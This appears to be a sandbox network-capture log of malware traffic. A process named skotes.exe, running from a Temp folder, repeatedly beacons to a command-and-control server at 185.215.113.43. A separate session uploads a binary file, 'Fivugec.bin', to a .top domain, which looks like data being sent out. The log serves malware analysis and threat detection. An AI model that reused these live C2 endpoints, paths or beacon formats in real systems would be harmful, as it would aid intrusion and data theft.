Nov 23, 2024 18:24:09.902856112 CET	2472	OUT	Data Raw: b3 21 ad 0b dc b1 df e5 c8 88 54 25 de c6 f6 05 63 38 04 e2 c8 6e 8c c9 ff fb 8c 82 c7 a9 37 ff fe 43 89 f3 58 89 6d 9d 91 10 0a ef c6 5b 1e be d4 e5 53 e9 3f fc 15 73 2b d7 07 da fb 0a fc 87 7a de 6b 93 00 eb 25 46 52 23 f1 80 9d 25 e5 be da 4a Data Ascii: !T%c8n7CXm[S?s+zk%FR#%JY90WqK@~obGiDy\|[Pr_z.+>N>RRl=I/cn!89{`$FAL=(.='?2G,h7x;kD@T?O
Nov 23, 2024 18:24:09.902944088 CET	2472	OUT	Data Raw: aa 75 f9 90 04 82 38 5b 99 21 18 cb 17 8b 53 9a fb 8d 87 1e 0c 19 cc 7c 82 47 0a 91 c1 23 ca b6 5d 07 52 a7 d6 e5 0d 39 2a 83 a8 cd 01 a7 1f ad aa ef 16 29 85 85 79 47 24 f3 5c 17 02 01 b5 f4 ac 98 8e f3 84 ed 34 47 86 c2 03 0a b2 55 01 5c 87 a0 Data Ascii: u8[!S\|G#]R9*)yG$\4GU\nf4nlz($=6<rw.`BC\4thAe\|E/T9#@y70Zeu"io9Zsn^X~z)Cnuf9Vj0,T
Nov 23, 2024 18:24:09.903129101 CET	2472	OUT	Data Raw: 82 31 da 2d b6 a2 bf ae 60 35 41 84 7e c3 06 9f b4 0f f6 75 b1 80 da d1 dc 79 13 d3 b2 ca 9c 0a 77 2b 4c 65 b1 cd a0 2c 12 c0 51 f0 c7 c8 67 19 65 22 d8 f1 a0 8c 11 0a 76 ef 96 60 df b3 3a 6a 78 22 1c 3e 8c 35 dc 42 fb 44 e1 ea 78 65 fb d7 86 b5 Data Ascii: 1-`5A~uyw+Le,Qge"v`:jx">5BDxe@^Z^?*nl4_s8]]gn+]72&IGNvn"!eY$6\,io2zkEQ27YExFi1u\(z>Z!/kv,s6X
Nov 23, 2024 18:24:09.903240919 CET	2472	OUT	Data Raw: 56 30 51 31 3f 00 67 17 d6 9d 62 38 b8 ae 27 14 a0 ef 2b a9 15 63 f9 13 96 9b 22 3d b3 f2 9e 27 9f 26 8e 67 d7 42 c6 d1 e6 d0 f7 db 2f 6f 1e 9e 6e 83 2e a5 15 4d 92 a5 2a fa 80 f5 61 fc b6 5b 08 90 e4 6b 85 15 16 c7 ce 12 d9 ef 9f 9d 6b 11 0e 47 Data Ascii: V0Q1?gb8'+c"='&gB/on.M*a[kkGva%^;) $$h(8%:IS1fLW#ma$n5jmv9HTA`<n0[uH~y\|O.g#"3G!g
Nov 23, 2024 18:24:09.970473051 CET	12360	OUT	Data Raw: e7 02 ab 7a 41 0e 6d c7 41 0e a2 01 2e 79 30 32 b9 7f 9a 83 b4 b7 88 dc 43 c8 02 78 83 c8 65 11 66 b4 62 c0 c3 54 42 11 dc 8b 2f 0a 7b 6b b8 01 63 c4 a1 ff ce ec 9c 9f f5 9e 53 3a 94 2e 55 c5 62 b5 36 fe ee 76 00 93 fd d3 24 a5 01 b5 0a 25 22 4c Data Ascii: zAmA.y02CxefbTB/{kcS:.Ub6v$%"L/9!}a_hB}9 nroT.`bo<\Ji2xH@xzpJY6WyutIHFR#}Z8}dd.VcP&B*A(O`
Nov 23, 2024 18:24:10.060957909 CET	4944	OUT	Data Raw: 51 d5 a9 b3 53 27 27 52 9a ab ec d9 a8 cc 9d 49 3c 31 8b 8d 7d 28 b3 07 0b e0 72 74 07 63 ad 28 88 59 0c 23 05 fc ed ea 7f f4 03 4a fd 16 3b 9b e8 8c ac bb 54 d7 28 de b8 98 86 4c fd 0c a3 0e 7d bf 67 ff 98 3c 34 eb 84 22 07 7d e6 3b 5a 28 0f 77 Data Ascii: QS''RI<1}(rtc(Y#J;T(L}g<4"};Z(w<;y%ki>X;p3h;EUi;Kfi`NUJ`.3gx083y,D!P75=KbHVZQqZ(2j*C'K^$E{PV}3
Nov 23, 2024 18:24:11.381786108 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 17:24:11 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1732384448 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50167	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:12.350445986 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50171	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:14.241695881 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:15.588241100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50182	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:17.219351053 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:24:18.610496044 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50185	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:20.346664906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:21.764894009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50187	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:23.409172058 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:24:24.848997116 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50189	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:26.587124109 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:27.968465090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50192	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:29.610079050 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:24:31.004919052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50198	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:32.744262934 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:34.131189108 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50200	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:35.772285938 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:24:37.179228067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	50201	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:38.750994921 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 24227 Content-Type: multipart/form-data; boundary=------------------------DYum3UGwJfrTNaC4UsyX7w Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 44 59 75 6d 33 55 47 77 4a 66 72 54 4e 61 43 34 55 73 79 58 37 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 69 76 75 67 65 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0a 82 4e e7 3f da f9 17 45 e5 a0 5c 2d 34 48 a3 89 9f 1a 0f d9 07 6f fb 72 f6 fc 4d 6d dc 60 08 99 19 c1 75 cf 84 66 5e 99 fc bc f8 8f 88 c4 83 fc fe 6b 0f c8 09 95 ce e4 03 25 68 15 6a 7c 5e ce 80 47 47 f4 42 01 8c c1 5b 14 55 6a 85 76 69 f9 9f 80 b5 2e a3 0b 47 21 c5 42 9d 72 8a a6 45 b8 53 58 54 12 db 59 b3 87 0e 43 4d 6e 26 30 08 49 f9 71 9d 03 2c 49 67 aa 31 a8 61 30 4e 40 b5 ac 7e 78 fd 42 af 64 e9 d2 52 b7 f2 b7 e2 d4 a2 cc 68 56 b8 5d 7e b5 1c 84 5b 75 eb 0c d5 f8 81 36 7d 89 3c 21 ee cb 6e 93 a6 48 53 be 5c 6b e9 fa [TRUNCATED] Data Ascii: --------------------------DYum3UGwJfrTNaC4UsyX7wContent-Disposition: form-data; name="file"; filename="Fivugec.bin"Content-Type: application/octet-streamN?E\-4HorMm`uf^k%hj\|^GGB[Ujvi.G!BrESXTYCMn&0Iq,Ig1a0N@~xBdRhV]~[u6}<!nHS\k\P%']uhV.MVP#wDM)ie(Is+n@97YTc}'PF;[?[Ie_22%\@;U;k$iV%2vR4z2q?%rP\AS2i+4-5?$&cJe4O.MuWs_UO_(aa,!-kHuA$}ZC1ns7e~"PPAb0\|H[6qrffx9K/Ci/J0M+}inUU-nE{E-$#YB2vi[y`p1@-Z/Ka%Nb787Bncq>!6eG_PkM.tdd/emdMuxR.eN4\UH~#8DJbW[y0D_<nu7T2vw/_xtSCBT:.72(I7JGRzj\|PD%L{J [TRUNCATED]
Nov 23, 2024 18:24:38.876549959 CET	2472	OUT	Data Raw: e4 43 a6 4b d7 30 b5 6f 46 db d4 c8 32 6c c5 33 0a 17 a9 82 58 1e 96 0f f2 7e 00 2f e4 6d 64 fc 08 4a db b3 64 d0 41 22 53 09 e5 e0 d9 e8 93 b5 10 54 d5 e5 35 f4 a6 ee c8 03 d3 b0 6c e2 dc e7 b3 72 00 d0 10 14 1c c5 7d d7 fd 90 ba 71 79 86 79 cd Data Ascii: CK0oF2l3X~/mdJdA"ST5lr}qyy=!#mPW/?p)G9L0B1F WD;im!N=~A1ZI!n/]Ap.A\}l$%d}Uz^U]<v!xZK<J175zqCG@]A
Nov 23, 2024 18:24:38.876580000 CET	7416	OUT	Data Raw: 77 ec b3 cf c0 4f 5a 28 58 7c eb 7f 61 c5 e6 0e f6 99 bf 20 01 27 3b e6 63 cf 20 98 28 06 a4 1f f6 9c 16 73 a8 60 33 4c fe ad 4c cd 81 19 96 61 81 4d 85 ca 54 97 9b a5 f8 9f cf 49 53 80 35 54 c9 ec e0 ea 20 a1 35 09 d0 33 ed e6 59 11 d5 f8 31 a4 Data Ascii: wOZ(X\|a ';c (s`3LLaMTIS5T 53Y15detm}dKA~$RT{Hw+#t.xkBni`JcL\Ec.#cUXaU}<K[muu9}m^}_Ekc($
Nov 23, 2024 18:24:38.876640081 CET	2160	OUT	Data Raw: 2e 33 49 ee bc cd 0f cd 73 0e 89 38 3e ae 69 44 a9 da f5 b6 03 b1 77 1d 92 86 b5 13 d6 f9 3e 92 c8 09 f4 b6 f5 32 66 d2 eb 32 51 3c 95 2b 5e 89 f3 ba d3 0e 9d 6c b8 3a ef 79 2f 8c 2b 0f 9f d8 5f 1d 31 bd 60 a5 33 ca 91 5a 78 c1 74 f2 ed 11 f6 41 Data Ascii: .3Is8>iDw>2f2Q<+^l:y/+_1`3ZxtAx1k.tAKx9Z5$LO63"MX=V6!N(!M4Fic?~>B;"C8C#1;PZ?zK~l$jA7+>D0Cz
Nov 23, 2024 18:24:40.323757887 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 17:24:40 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1732384448 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50202	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:38.996561050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:40.387964964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50203	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:42.034812927 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:24:43.381684065 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50204	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:45.136338949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:46.540486097 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50205	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:48.197588921 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:24:49.583739042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50206	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:51.355577946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:52.755424023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50207	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:54.415790081 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:24:55.825714111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50209	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:24:57.573405027 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:24:58.956851959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:24:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50210	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

